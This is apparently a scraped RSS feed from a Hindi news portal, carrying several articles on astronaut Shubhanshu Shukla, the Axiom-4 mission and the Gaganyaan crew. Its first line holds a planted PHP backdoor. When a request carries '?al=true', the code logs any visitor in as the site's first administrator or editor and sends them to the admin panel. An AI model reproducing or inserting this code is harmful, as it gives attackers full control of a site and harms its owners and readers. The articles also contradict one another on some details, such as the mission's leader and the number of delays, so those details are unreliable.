// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Shubhanshu Shukla – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Sun, 24 Aug 2025 11:45:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 कभी सोचा नहीं था कि अंतरिक्ष जाऊंगा – एस्ट्रोनॉट शुभांशु शुक्ला ने सुनाई अपनी कहानी https://pratyushaashakinayikiran.com/?p=180364 Sun, 24 Aug 2025 11:45:00 +0000 https://pratyushaashakinayikiran.com/?p=180364 नई दिल्ली 
अंतरिक्ष यात्री शुभांशु शुक्ला ने रविवार को कहा कि वह बचपन में शर्मीले और संकोची थे। युवावस्था में उन्होंने कभी अंतरिक्ष में जाने का सपना नहीं देखा था। भारतीय वायुसेना के एक कार्यक्रम में शुक्ला ने कहा कि उन्होंने राकेश शर्मा की ऐतिहासिक अंतरिक्ष उड़ान की कहानियां सुनीं। लेकिन युवावस्था तक उन्होंने यह नहीं सोचा था कि वह अंतरिक्ष यात्रा पर जाएंगे। अंतरिक्ष यात्री ने हाल में संपन्न एक्सिओम 4 मिशन का हिस्सा बनने के अपने अनुभव को भी साझा किया। इस मिशन के जरिए वह अंतरराष्ट्रीय अंतरिक्ष स्टेशन (आईएसएस) की यात्रा करने वाले पहले भारतीय बने। रक्षा मंत्री राजनाथ सिंह ने शुक्ला सहित गगनयान मिशन के चार अंतरिक्ष यात्रियों को सम्मानित किया और कहा कि गगनयान मिशन आत्मनिर्भर भारत की यात्रा में एक नए अध्याय का प्रतीक है।

रक्षा मंत्री राजनाथ सिंह ने अंतरिक्ष यात्री शुभांशु शुक्ला और तीन अन्य चयनित गगनयात्रियों को रविवार को रत्न बताया। उन्होंने कहा कि गगनयान मिशन आत्मनिर्भर भारत की यात्रा में एक नए अध्याय का प्रतीक है। सिंह ने यहां सुब्रतो पार्क में भारतीय वायुसेना द्वारा आयोजित एक कार्यक्रम में चार गगनयात्रियों को सम्मानित किया। यह समारोह एक्सिओम 4 मिशन की सफलता के बाद आयोजित किया गया है जिसमें शुक्ला भी शामिल थे।

ग्रुप कैप्टन प्रशांत बालकृष्णन नायर, ग्रुप कैप्टन अजीत कृष्णन, ग्रुप कैप्टन अंगद प्रताप और विंग कमांडर शुभांशु शुक्ला चार चुने गए गगनयात्री हैं। इनके नामों का पहली बार खुलासा फरवरी 2024 में तिरुवनंतपुरम स्थित विक्रम साराभाई अंतरिक्ष केंद्र (वीएसएससी) में प्रधानमंत्री नरेन्द्र मोदी की उपस्थिति में किया गया था। मोदी ने गगनयान परियोजना की औपचारिक घोषणा 2018 में की थी। इस परियोजना का उद्देश्य तीन सदस्यीय चालक दल को 2027 में तीन दिवसीय मिशन के लिए 400 किलोमीटर की कक्षा में भेजना है।

 

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समंदर से वापसी के बाद 7 दिन आइसोलेशन में, कब तक सामान्य जीवन में लौटेंगे शुभांशु शुक्ला? https://pratyushaashakinayikiran.com/?p=170602 Tue, 15 Jul 2025 07:36:00 +0000 https://pratyushaashakinayikiran.com/?p=170602 नई दिल्ली

भारतीय अंतरिक्ष यात्री शुभांशु शुक्ला इंटरनेशनल स्पेस स्टेशन (आईएसएस) से पृथ्वी वापसी के सफर पर हैं. उनके साथ Axiom-4 मिशन (Ax-4) पर गया चार सदस्यीय दल ने सोमवार शाम करीब 4:50 बजे (भारतीय समय) अंतरराष्ट्रीय अंतरिक्ष स्टेशन (ISS) से विदाई ली. स्पेसएक्स का ड्रैगन स्पेसक्राफ्ट ‘ग्रेस’ अब साढ़े 22 घंटे की यात्रा के बाद मंगलवार 15 जुलाई को भारतीय समयानुसार दोपहर करीब 3 बजे अमेरिका के कैलिफोर्निया तट के पास समुद्र में स्प्लैशडाउन करेगा.

यह मिशन भारत, पोलैंड और हंगरी के लिए ऐतिहासिक था, क्योंकि चार दशकों बाद इन देशों के अंतरिक्ष यात्रियों ने किसी मानवयुक्त मिशन में भाग लिया. मिशन का नेतृत्व अमेरिका की अनुभवी अंतरिक्ष यात्री और Axiom की कमांडर पेगी व्हिटसन ने किया.
पृथ्वी पर धमाके के साथ होगी एंट्री

स्पेसएक्स ने मंगलवार सुबह एक्स पर पोस्ट में कहा, ‘ड्रैगन स्पेसक्राफ्ट और Axiom Space के Ax-4 मिशन के चारों अंतरिक्ष यात्री पृथ्वी के वायुमंडल में 2:31 AM PT (भारतीय समय 3:01 बजे) पर प्रवेश करेंगे और कैलिफोर्निया के सैन डिएगो तट के पास प्रशांत महासागर में स्प्लैशडाउन करेंगे. स्पेसएक्स ने जानकारी दी है कि ड्रैगन स्पेसक्राफ्ट एक तेज सॉनिक बूम (sonic boom) के साथ अपने आने का ऐलान करेगा, जो वायुमंडल में उच्च गति से प्रवेश करने पर उत्पन्न होता है.

15 जुलाई 2025 को स्पेसएक्स का ड्रैगन अंतरिक्ष यान और एक्सिओम मिशन 4 (Ax-4) का चालक दल पृथ्वी की ओर तेजी से बढ़ रहा है. यह टीम अंतरराष्ट्रीय अंतरिक्ष स्टेशन (ISS) से 14 जुलाई को अलग होकर अब सैन डिएगो, कैलिफोर्निया के तट के पास प्रशांत महासागर में उतरने (splashdown) की तैयारी कर रही है. ड्रैगन एक जोरदार आवाज (सोनिक बूम) के साथ अपने आगमन की घोषणा करेगा.

वापसी की योजना और टाइम टेबल

ड्रैगन यान और Ax-4 क्रू की पृथ्वी पर वापसी एक सटीक प्रक्रिया होगी, जिसमें कई चरण शामिल हैं. एक्सिओम स्पेस और नासा की टीम ने इसे सुचारू रूप से चलाने के लिए समय सारणी तैयार की है…

    2:07 PM IST: डीऑर्बिट बर्न – यान अपनी कक्षा से बाहर निकलने के लिए इंजन जला कर गति कम करेगा.
    2:26 PM IST: ट्रंक जेटिसन – यान का अतिरिक्त हिस्सा (ट्रंक) अलग हो जाएगा.
    2:30 PM IST: नोजकोन बंद – यान का अगला हिस्सा बंद होगा ताकि उतरने के लिए तैयार हो सके.
    2:57 PM IST: ड्रोग्यू पैराशूट्स तैनात – छोटे पैराशूट खुलेंगे, जो यान की गति को धीमा करेंगे.
    2:58 PM IST: मुख्य पैराशूट्स तैनात – बड़े पैराशूट खुलेंगे, जो यान को सुरक्षित उतारने में मदद करेंगे.
    3:00 PM IST: ड्रैगन स्प्लैशडाउन – यान प्रशांत महासागर में पानी पर उतरेगा.

इस प्रक्रिया के दौरान, ड्रैगन एक संक्षिप्त सोनिक बूम पैदा करेगा, जो ध्वनि की गति से तेज गति के कारण होगा. यह आवाज सैन डिएगो तट पर सुनाई दे सकती है और स्थानीय लोगों के लिए एक रोमांचक अनुभव होगा.

चालक दल और मिशन का सफर

Ax-4 मिशन में चार अंतरिक्ष यात्री शामिल थे, जो 25 जून 2025 को लॉन्च होने के बाद 26 जून को ISS से जुड़े थे. इनमें शामिल हैं…

    पैगी व्हिटसन (कमांडर): नासा की अनुभवी अंतरिक्ष यात्री.
    शुभांशु शुक्ला (पायलट): भारत के ISRO अंतरिक्ष यात्री, जो भारत के दूसरे अंतरिक्ष यात्री हैं.
    स्लावोश उज़नांस्की-विस्निव्स्की: पोलैंड से ESA प्रोजेक्ट अंतरिक्ष यात्री.
    टिबोर कपु: हंगरी के HUNOR प्रोग्राम से अंतरिक्ष यात्री.

इन अंतरिक्ष यात्रियों ने ISS पर 18 दिन बिताए और 60 से अधिक वैज्ञानिक प्रयोग किए, जैसे मांसपेशियों की हानि, मानसिक स्वास्थ्य और अंतरिक्ष में फसल उगाने पर शोध. शुभांशु शुक्ला ने भारत के लिए यह गर्व का पल बनाया. 

अंतरिक्ष में ग्रुप फोटो का मजेदार तरीका

अंतरिक्ष में ग्रुप फोटो लेना आसान नहीं है, क्योंकि वहां कोई राहगीर नहीं होता जो फोटो खींच सके. Ax-4 क्रू ने इस समस्या का अनोखा हल निकाला. उन्होंने एक कैमरा सेट किया, जो हर 5 सेकंड में फोटो लेता है. फिर वे अपनी पोजीशन में आते हैं और कैमरे की ओर मुस्कुराते हैं. अंतरिक्ष यात्रियों ने अपने फोटो सेशन को मजेदार बनाया, और ये तस्वीरें उनके मिशन की यादगार बन गईं.

सात दिन आइसोलेशन में रहेंगे शुभांशु 

शुभांशु शुक्ला के 15 जुलाई 2025 को पृथ्वी पर लौटने के बाद, उन्हें अंतरिक्ष यात्रा के प्रभावों से उबरने के लिए 7 दिनों तक पुनर्वास (रीहैबिलिटेशन) में रहना होगा. यह अवधि चिकित्सा निगरानी में होगी ताकि वे पृथ्वी की गुरुत्वाकर्षण में फिर से सामंजस्य बिठा सकें.

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अंतरिक्ष की यातर पर निकले शुभांशु शुक्ला, बोले- मेहनत का कोई विकल्प नहीं, इस दुनिया में कुछ भी आसानी से नहीं मिलता https://pratyushaashakinayikiran.com/?p=166399 Wed, 25 Jun 2025 10:39:00 +0000 https://pratyushaashakinayikiran.com/?p=166399  नईदिल्ली / कैनेडी 

भारत के अंतरिक्ष यात्री शुभांशु शुक्ला समेत तीन अन्य यात्री एक्सिओम मिशन-4 की उड़ान पर निकल चुके हैं. जानकारी के मुताबिक उनकी यह यात्रा करीब 28 घंटे की है. वे गुरुवार शाम करीब 4 बजकर 30 मिनट पर इंटरनेशनल स्पेस सेंटर पर लैंड करेंगे.

बता दें, शुभांशु शुक्ला 14 दिनों तक इंटरनेशनल स्पेस स्टेशन पर रहेंगे. पूरा देश उनकी कामयाबी की दुआ कर रहा है. इस मौके पर भारतीय वायुसेना के ग्रुप कैप्टन और अंतरिक्ष यात्री शुभांशु शुक्ला की मां आशा शुक्ला ने कहा कि हम इसे शब्दों में बयां नहीं कर सकते. हम बिल्कुल भी डरे हुए नहीं हैं. हम खुश हैं, हमें बहुत गर्व है.

शुभांशु शुक्ला का अंतरिक्ष के रास्ते से पहला संदेश मेरे कंधे पर मेरा तिरंगा है

भारत के शुभांशु शुक्ला के साथ ही तीन अन्य अंतरिक्ष यात्रियों को लेकर एक्सिओम-4 मिशन, कैनेडी स्पेस सेंटर के कॉम्प्लेक्स 39ए से उड़ान भर चुका है. स्पेसक्राफ्ट ने ठीक दोपहर 12.01 बजे (भारतीय समयानुसार) उड़ान भरी. स्पेसक्राफ्ट के अंदर से शुभांशु शुक्ला ने पहला मैसेज दिया. उन्होंने कहा कि नमस्कार, मेरे प्यारे देशवासियो, what a ride… 41 साल बाद हम वापस अंतरिक्ष में पहुंच गए हैं. और कमाल की राइड थी. इस समय हम 7.5 किलोमीटर प्रति सेकेंड की रफ्तार से पृथ्वी के चारों तरफ घूम रहे हैं. मेरे कंधे पर मेरे साथ मेरा तिरंगा है, जो मुझे बता रहा है कि मैं अकेला नहीं हूं, मैं आप सबके साथ हूं. 

शुभांशु शुक्ला ने स्पेसक्राफ्ट के अंदर से कहा कि ये मेरी इंटरनेशनल स्पेस स्टेशन तक की जर्नी की शुरुआत नहीं है, ये भारत की ह्यूमन स्पेस प्रोग्राम की शुरुआत है. और मैं चाहता हूं कि सभी देशवासी इस यात्रा का हिस्सा बनें. आपका भी सीना गर्व से चौड़ा होना चाहिए. आप भी उतना ही एक्साइटमेंट दिखाइए. आइए हम सब मिलकर भारत की इस ह्यूमन स्पेस जर्नी की शुरुआत करें. धन्यवाद, जय हिंद, जय भारत.

बता दें कि इंटरनेशनल स्पेस स्टेशन पर पहुंचने के बाद वे स्टेशन का दौरा करने वाले पहले भारतीय बन जाएंगे और राकेश शर्मा के 1984 के मिशन के बाद अंतरिक्ष में जाने वाले दूसरे भारतीय बन जाएंगे. 28 घंटे की यात्रा के बाद अंतरिक्ष यान के गुरुवार शाम करीब 04:30 बजे इंटरनेशनल स्पेस स्टेशन (ISS) से डॉक होने की उम्मीद है. 

वहीं, उनके पिता शंभूनाथ शुक्ला ने कहा कि उनका मिशन दोपहर 12 बजे के आसपास लॉन्च होने वाला है. हम उनके मिशन के लॉन्च को देखने के लिए बहुत उत्सुक हैं. हम बहुत खुश हैं. हमारा आशीर्वाद उनके साथ है, और हम ईश्वर से भी प्रार्थना करते हैं कि उनका मिशन अच्छे से पूरा हो. वह पूरी तरह से तैयार हैं. उनके लिए लगाए गए सभी पोस्टर देखकर बहुत अच्छा लग रहा है. वह लखनऊ, उत्तर प्रदेश और हमारे देश का नाम रोशन कर रहे हैं. हमें उन पर गर्व है.

शुभांशु शुक्ला की बहन निधि मिश्रा ने कहा कि यह न केवल मेरे लिए बल्कि भारत में सभी के लिए गर्व का क्षण है. मैं इसे शब्दों में बयां नहीं कर सकती. मैं बस इतना कहना चाहती हूं कि 'शुभांशु, आपका मिशन सफल हो और आप सुरक्षित वापस हमारे पास आएं. मुझे अच्छा लग रहा है और मैं उम्मीद कर रही हूं कि वह अपना मिशन सफलतापूर्वक पूरा करके जल्द ही हमारे पास वापस आ जाएगा ताकि मैं उसे एक बार फिर गले लगा सकूं. उन्होंने कहा कि मेरा भाई कहता है कि मेहनत का कोई विकल्प नहीं है. इस दुनिया में आपको कुछ भी आसानी से नहीं मिलता. आज हम जो कुछ भी देख रहे हैं, उसके पीछे बहुत मेहनत है. मैं अभी अपने भाई के लिए थोड़ी भावुक हूं.

 नील आर्मस्ट्रांग की यात्रा शुरू हुई थी, वहीं से शुभांशु ने रचा इतिहास 

कैनेडी स्पेस सेंटर का लॉन्च पैड 39 नासा के सबसे प्रतिष्ठित और ऐतिहासिक लॉन्च स्थलों में से एक है. यह वही जगह है, जहां से 1969 में नील आर्मस्ट्रांग और उनके साथी चंद्रमा के लिए रवाना हुए थे. अब, 25 जून 2025 को, भारतीय वायुसेना के ग्रुप कैप्टन शुभांशु शुक्ला इसी लॉन्च पैड 39A से ऐक्सिओम मिशन-4 (Ax-4) के तहत अंतरराष्ट्रीय अंतरिक्ष स्टेशन (ISS) के लिए उड़ान भरेंगे. यह भारत के लिए गर्व का क्षण है. आइए, इस ऐतिहासिक लॉन्च पैड में जानते हैं. 

कैनेडी स्पेस सेंटर और लॉन्च पैड 39 

कैनेडी स्पेस सेंटर (KSC) अमेरिका के फ्लोरिडा में मेरिट द्वीप पर स्थित है. इसे 1962 में नासा के अंतरिक्ष मिशनों के लिए बनाया गया था. लॉन्च पैड 39, जिसमें दो हिस्से हैं—39A और 39B—विश्व के सबसे महत्वपूर्ण अंतरिक्ष लॉन्च स्थलों में से एक है. इसकी कुछ प्रमुख विशेषताएं और ऐतिहासिक उपलब्धियां हैं… 

नील आर्मस्ट्रांग की चंद्रमा यात्रा

16 जुलाई 1969 को, लॉन्च पैड 39A से अपोलो 11 मिशन लॉन्च हुआ, जिसमें नील आर्मस्ट्रांग, बज़ एल्ड्रिन, और माइकल कॉलिन्स चंद्रमा के लिए रवाना हुए. आर्मस्ट्रांग ने चंद्रमा पर पहला कदम रखकर इतिहास रचा और कहा कि यह मेरे लिए एक छोटा कदम है, लेकिन मानवता के लिए एक बड़ी छलांग.

अपोलो मिशन

लॉन्च पैड 39A और 39B ने 1967 से 1973 तक सभी अपोलो मिशनों को लॉन्च किया, जो चंद्रमा की यात्रा के लिए बनाए गए थे. इसके बाद, इसने स्कायलैब और अपोलो-सोयूज़ मिशनों को भी समर्थन दिया.

स्पेस शटल प्रोग्राम

1981 से 2011 तक, लॉन्च पैड 39 ने नासा के स्पेस शटल मिशनों के लिए काम किया. कुल 135 स्पेस शटल मिशन, जैसे डिस्कवरी, अटलांटिस और चैलेंजर यहीं से लॉन्च हुए.

स्पेसएक्स का योगदान

2008 से, लॉन्च पैड 39A को स्पेसएक्स ने लीज पर लिया है. स्पेसएक्स ने इसे फाल्कन 9 और फाल्कन हैवी रॉकेट्स के लिए बनाया किया है. आज, यह निजी अंतरिक्ष मिशनों का केंद्र बन गया है.

शुभांशु शुक्ला का मिशन और लॉन्च पैड 39A

शुभांशु शुक्ला का मिशन, ऐक्सिओम मिशन-4 (Ax-4), लॉन्च पैड 39A से 25 जून 2025 को भारतीय समयानुसार दोपहर 12:01 बजे पर लॉन्च होगा. यह भारत के लिए एक ऐतिहासिक क्षण है, क्योंकि शुभांशु पहले भारतीय अंतरिक्ष यात्री होंगे जो ISS पर जाएंगे. आइए, इस मिशन के महत्वपूर्ण पहलुओं को देखें…

मिशन का विवरण: Ax-4 एक निजी अंतरिक्ष मिशन है, जिसे ऐक्सिओम स्पेस, नासा और स्पेसएक्स मिलकर संचालित कर रहे हैं. शुभांशु मिशन के पायलट होंगे और उनके साथ कमांडर पेगी व्हिटसन (पूर्व नासा अंतरिक्ष यात्री), पोलैंड की स्लावोश उज्नी और हंगरी की तिबोर कपु होंगे. यह मिशन स्पेसएक्स के फाल्कन 9 रॉकेट और ड्रैगन अंतरिक्ष यान के जरिए लॉन्च होगा.

28 घंटे की यात्रा: ड्रैगन अंतरिक्ष यान को ISS तक पहुंचने में लगभग 28 घंटे लगेंगे. यह समय कक्षा समायोजन, सुरक्षा जांच और सटीक डॉकिंग प्रक्रिया के कारण लगता है. ड्रैगन को ISS की कक्षा के साथ तालमेल बिठाने के लिए कई फेजिंग मैन्यूवर्स करने पड़ते हैं, जो समय लेते हैं.

ISS पर शुभांशु का कार्य: शुभांशु ISS पर 14 दिन तक रहेंगे, जहां वह 7 भारतीय और 5 नासा वैज्ञानिक प्रयोग करेंगे. इनमें मूंग और मेथी उगाने, मानव शरीर पर अंतरिक्ष के प्रभाव का अध्ययन और योग जैसे प्रयोग शामिल हैं. वह भारतीय संस्कृति का प्रदर्शन करेंगे, जैसे मिठाइयां और एक खिलौना हंस ("जॉय") ले जाएंगे.

लॉन्च पैड 39A का महत्व: लॉन्च पैड 39A का उपयोग नील आर्मस्ट्रांग जैसे ऐतिहासिक मिशनों के लिए हुआ है. अब यह शुभांशु के मिशन का प्रारंभ बिंदु है, जो भारत के अंतरिक्ष इतिहास में एक नया अध्याय जोड़ेगा. यह पैड आधुनिक तकनीक और ऐतिहासिकता का अनूठा संगम है.

लॉन्च पैड 39A की तकनीकी विशेषताएं

लॉन्च पैड 39A को बड़े और जटिल अंतरिक्ष मिशनों के लिए डिज़ाइन किया गया है. इसकी कुछ खास विशेषताएं हैं…

    क्रॉलर-ट्रांसपोर्टर: यह एक विशाल मशीन है, जो रॉकेट्स को असेंबली बिल्डिंग से लॉन्च पैड तक ले जाती है. यह 3,000 टन तक वजन उठा सकती है.

    लॉन्च टावर: पैड 39A का लॉन्च टावर फाल्कन 9 जैसे रॉकेट्स को ईंधन भरने, पेलोड जोड़ने और लॉन्च करने में मदद करता है.

    सुरक्षा सुविधाएं: पैड में आपातकालीन निकास प्रणाली और अग्निशमन उपकरण हैं, जो अंतरिक्ष यात्रियों और कर्मचारियों की सुरक्षा सुनिश्चित करते हैं.

    स्पेसएक्स का अनुकूलन: स्पेसएक्स ने पैड को फाल्कन 9 और ड्रैगन के लिए बदला है, जिसमें स्वचालित डॉकिंग और लैंडिंग सिस्टम शामिल हैं.

एक्सिओम मिशन-4 (Axiom Mission 4) के ग्रुप कैप्टन हैं शुभांशु शुक्ला
जो जानकारी मिली है उसके मुताबिक Axiom Mission 4 में शुभांशु शुक्ला के साथ तीन और अंतरिक्ष यात्री भी जाएंगे. शुभांशु शुक्ला इस मिशन को लीड कर रहे हैं. इनके अलावा अमेरिका के कमांडर पैगी व्हिटसन, पोलैंड के स्लावोज उज्ज्रन्स्की विस्रिएव्स्की और हंगरी के मिशन एक्सपर्ट टिबोर कापू भी शामिल हैं. यह एक्सिओम मिशन-4 भारत के इसरो और अमेरिकी अंतरिक्ष एजेंसी नासा की संयुक्त पहल है. राकेश शर्मा के बाद शुभांशु शुक्ला दूसरे भारतीय हैं, जो अंतरिक्ष में जाएंगे. करीब 4 दशक बाद कोई भारतीय अंतरिक्ष में कदम रखने जा रहा है.

शुभांशु शुक्ला के बारे में जानिए
भारती वायुसेना में ग्रुप कैप्टन शुभांशु शुक्ला का जन्म उत्तर प्रदेश की राजधानी लखनऊ में 10 अक्टूबर 1985 को हुआ था. इनके पिता का नाम शंभू दयाल शुक्ला और माता का नाम आशा शुक्ला है. ये अपने परिवार में तीन भाई-बहिनों में सबसे छोटे हैं. पूरा परिवार बेहद खुश है. बता दे, शुभांशु शुक्ला के पास मिग, जगुआर सहित कई विमानों को उड़ाने का अनुभव है. शुभांशु शुक्ला इसरों के गगनयान मिशन के चुने गए 4 अंतरिक्ष यात्रियों में शामिल हैं. जानकारी के मुताबिक शुभांशु एएन-32, जगुआर हॉक मिग-21 मिग-29 और एसयू-30 एमकेआई जैसे विमान उड़ा चुके हैं. वहीं, शुभांशु दो हजार घंटे की उड़ान का भी रिकॉर्ड बना चुके हैं. शुभांशु शुक्ला 2005 में एनडीए में सेलेक्ट हुए थे और जून 2006 में भारतीय वायुसेन में कमीशंड हुए थे. साल 2019 में इनका विंग कमांडर के पद पर प्रमोशन हुआ.

पीएम मोदी ने की थी घोषणा
बता दें, पीएम मोदी ने साल 2018 में लाल किले से इस बात की घोषणा की थी कि भारत के सपूत अंतरिक्ष में जाएंगे. इसके बाद ही शुभांशु शुक्ला को साल 2019 में इसरो के अंतरिक्ष यात्री चयन प्रॉसेस में सेलेक्ट किया गया. पिछले साल 2024 में शुभांशु शुक्ला को भारतीय वायुसेना में ग्रुप कैप्टन बनाया गया.

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शुभांशु शुक्ला आज रवाना होंगे अंतरिक्ष स्टेशन, लॉन्चिंग के लिए मौसम भी 90% सुहाना https://pratyushaashakinayikiran.com/?p=166322 Wed, 25 Jun 2025 06:16:00 +0000 https://pratyushaashakinayikiran.com/?p=166322 नई दिल्ली
 एक्सिओम-4 के लंबे इंतजार और बार-बार टलने के बाद वो पल आ गया जिसका हर हिंदुस्तानी इंतजार कर रहा था। AXIOM Mission में भारतीय अंतरिक्ष यात्री शुभांशु शुक्ला शामिल हैं। इस मिशन के तहत इसका क्रू आज यानी 25 जून को अंतरराष्ट्रीय अंतरिक्ष स्टेशन (ISS) के लिए रवाना होने वाला है।

ये मिशन नासा के केनेडी स्पेस सेंटर से सुबह 2:31 बजे (भारतीय समयानुसार दोपहर 12:01 बजे) उड़ान भरेगा। इस मिशन में स्पेसएक्स का फाल्कन 9 रॉकेट और नया ड्रैगन स्पेसक्राफ्ट इस्तेमाल होगा। अगर सब कुछ ठीक रहा तो ये अंतरिक्ष यान गुरुवार यानी 26 जून को सुबह 7:00 बजे (भारतीय समयानुसार शाम 4:30 बजे) ISS से डॉक करेगा।

भारत इतिहास रचने जा रहा है. ग्रुप कैप्टन शुभांशु शुक्ला बुधवार यानी आज इंटरनेशनल स्पेस स्टेशन (ISS) के लिए रवाना हो रहे हैं. वह आईएसएस का दौरा करने वाले पहले भारतीय बन जाएंगे और राकेश शर्मा के 1984 के मिशन के बाद अंतरिक्ष में जाने वाले दूसरे भारतीय बन जाएंगे. भारत के शुभांशु शुक्ला और तीन अन्य अंतरिक्ष यात्रियों को लेकर एक्सिओम-4 मिशन, कैनेडी स्पेस सेंटर के कॉम्प्लेक्स 39ए से आज दोपहर करीब 12 बजे उड़ान भरने वाला है. 28 घंटे की यात्रा के बाद, अंतरिक्ष यान गुरुवार को शाम करीब 04:30 बजे के इंटरनेशनल स्पेस स्टेशन (ISS) से डॉक होने की उम्मीद है. 

अंतरिक्ष यात्रियों को स्पेस स्टेशन पर करीब 14 दिन गुजारने हैं. नए लॉन्च स्लॉट का ऐलान मंगलवार सुबह हुआ. यह मिशन एक्सिओम स्पेस का हिस्सा है, जो एक निजी एयरोस्पेस कंपनी है.  

यह मिशन सात बार टल चुका है. अब नई लॉन्च तारीख 25 जून है. इससे पहले टलने की वजह लॉन्च व्हीकल में दिक्कतें और आईएसएस के ज़्वेज़्दा (Zvezda) मॉड्यूल पर दबाव में बदलाव जैसी कई वजहें हैं. ज़्वेज़्दा में लीक का पता सबसे पहले 2019 में चला था और अंतरिक्ष एजेंसियां ​​इसे ठीक करने के लिए कई साल से काम कर रही हैं. एक्सिओम-4 मिशन से पहले मरम्मत का काम किया गया था.

मसल्स रीजनरेशन स्टडी में शामिल होंगे शुभांश शुक्ला 

मिशन पर जाने वाले अंतरिक्ष यात्रियों को अंतरिक्ष में मांसपेशियों का नुकसान होता है. यह लंबे मिशन और माइक्रोग्रैविटी अनुसंधान को एक वास्तविक चुनौती बनाता है. उदाहरण के लिए नासा की अंतरिक्ष यात्री सुनीता विलियम की अंतरिक्ष यात्रा को ही लें. आईएसएस पर 9.5 महीने के कार्यकाल के बाद, जब वह नीचे उतरीं तो उनके पैर और पीठ की मांसपेशिया काफी कमज़ोर हो गई थीं.

एक्सिओम-4 के साथ भारत के शोध मिशनों में से एक यह पहचान करना है कि माइक्रोग्रैविटी में मांसपेशियों में होने वाले नुकसाने के लिए क्या जिम्मेदार है और फिर उपचार-आधारित रणनीतियों पर ध्यान केंद्रित करना है. स्टडी का मकसद लंबे अंतरिक्ष मिशनों के दौरान अंतरिक्ष यात्रियों में मांसपेशियों के नुकसान को रोकने में मदद करना है.

शुभांशु शुक्ला के साथ अंतरिक्ष जाने वाले एक्सिओम-4 चालक दल से मिलिए

जब NASA के कैनेडी स्पेस सेंटर से एक्सिओम मिशन 4 (एक्स-4) लॉन्च होगा, तो इतिहास रचा जाएगा. यह मिशन स्पेसएक्स के ड्रैगन स्पेसक्राफ्ट पर सवार होकर इंटरनेशनल स्पेस स्टेशन पर एक विविध दल लेकर जाएगा. एक्स-4 मिशन चार देशों के अंतरिक्ष यात्रियों के साथ लॉन्च होगा, जिसमें भारत के ग्रुप कैप्टन शुभांशु शुक्ला अपनी पहली अंतरिक्ष यात्रा शुरू करेंगे.

'तारे भी हासिल किए जा सकते हैं…', मिशन की लॉन्चिंग से पहले बोले शुभांशु शुक्ला

लॉन्चिंग से पहले शुभांशु शुक्ला ने कहा, "मैं भारत के लोगों से कहना चाहता हूं कि यह मिशन एक मील का पत्थर है और मैं भारत से इस मिशन की सफलता के लिए प्रेयर करने की गुजारिश करता हूं. यहां तक ​​कि तारे भी हासिल किए जा सकते हैं."

शुभांशु शुक्ला भारतीय वायु सेना में ग्रुप कैप्टन के रूप में काम करते हैं. अंतरिक्ष में अपनी सबसे प्रतीक्षित और चुनौतीपूर्ण उड़ान के लिए पूरी तरह तैयार हैं. वहीं, पूरा देश लॉन्चिंग का इंतजार कर रहा है. 

 लॉन्च से डॉकिंग तक

AX-4 स्पेश मिशन को कई देरी, तकनीकी खराबी और मौसम संबंधी मापदंडों से जूझना पड़ा है. इसका नेतृत्व अनुभवी अमेरिकी अंतरिक्ष यात्री पैगी व्हिटसन कर रही हैं, जो अंतरिक्ष में कई मिशनों पर जा चुकी हैं. वह उड़ान के संचालन, वैज्ञानिक अभियान का नेतृत्व करने और जुलाई में सुचारू लॉन्च, डॉकिंग और स्प्लैशडाउन सुनिश्चित करने के लिए जिम्मेदार होंगी.

केनेडी स्पेस सेंटर से लॉन्च के बाद, ड्रैगन स्पेसक्राफ्ट को फाल्कन-9 द्वारा अंतरिक्ष में पहुंचाया जाएगा. इसके बाद यान शून्य गुरुत्वाकर्षण में 28 घंटे से ज्यादा वक्त तक यात्रा करेगा, जिससे स्पेस स्टेशन से मिल सके, संरेखित हो सके और अंततः डॉक हो सके.

अगर फ्लोरिडा से लॉन्च वक्त पर होता है, तो डॉकिंग 26 जून को शाम 4:30 बजे IST पर निर्धारित है.

 शुभांशु शुक्ला को स्पेस में करने हैं 7 भारतीय प्रयोग

एक्सिओम-4 मिशन और शुभांशु शुक्ला के 7 एक्सपेरिमेंट भारत की स्पेस हिस्ट्री में एक बड़ा कदम हैं. इसरो और नासा इन नमूनों को सुरक्षित रखने और मिशन की सफलता सुनिश्चित करने के लिए हर मुमकिन कोशिश कर रहे हैं.

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शुभांशु शुक्ला को कल लेकर अंतरिक्ष स्टेशन मिशन पर जाएगा ड्रैगन कैप्सूल, NASA ने घोषित की नई तारीख https://pratyushaashakinayikiran.com/?p=166111 Tue, 24 Jun 2025 07:56:00 +0000 https://pratyushaashakinayikiran.com/?p=166111 नई दिल्ली
इंटरनेशनल स्पेस स्टेशन (ISS) के लिए जाने वाले एक्सिओम-4 (Axiom-4) मिशन को कई बार टाले जाने के बाद अब इसकी नई तारीख आ चुकी है। NASA और स्पेसएक्स के इस एक्सिओम मिशन को अब 25 जून को लॉन्च करने की तैयारी है। यहां भारत और भारतीयों के लिए खास बात यह है कि इस मिशन में भारत के शुभांशु शुक्ला भी शामिल हैं। इस मिशन को फ्लोरिडा के केनेडी स्पेस सेंटर से लॉन्च किया जाएगा।

NASA के मुताबिक एक्सिओम मिशन 4 को 25 जून को भारतीय समय के अनुसार दोपहर 12:10 बजे लॉन्च किया जा सकता है। यह चौथा निजी अंतरिक्ष यात्री मिशन है। इसे कई बार स्थगित हो चुका है। इससे पहले इस मिशन को 29 मई को लॉन्च करने की योजना थी, लेकिन तकनीकी खामी की वजह से इसे टाल दिया गया।

अब तक 6 बार टल टुका है मिशन

एक्सिओम-4 मिशन को अब तक 6 बार टाला जा चुका है। पहले यह मिशन 29 मई को शुरू होने वाला था, लेकिन मौसम की वजह से इसे 8 जून तक के लिए टाल दिया गया। बाद में, फाल्कन-9 रॉकेट के बूस्टर में लिक्विड ऑक्सीजन के रिसाव के कारण तारीख 10 जून और फिर 11 जून कर दी गई। इसके बाद, तकनीकी खराबी के कारण इसे 19 जून और फिर 22 जून के लिए स्थगित कर दिया गया।

कल दोपहर में रवाना होगा मिशन

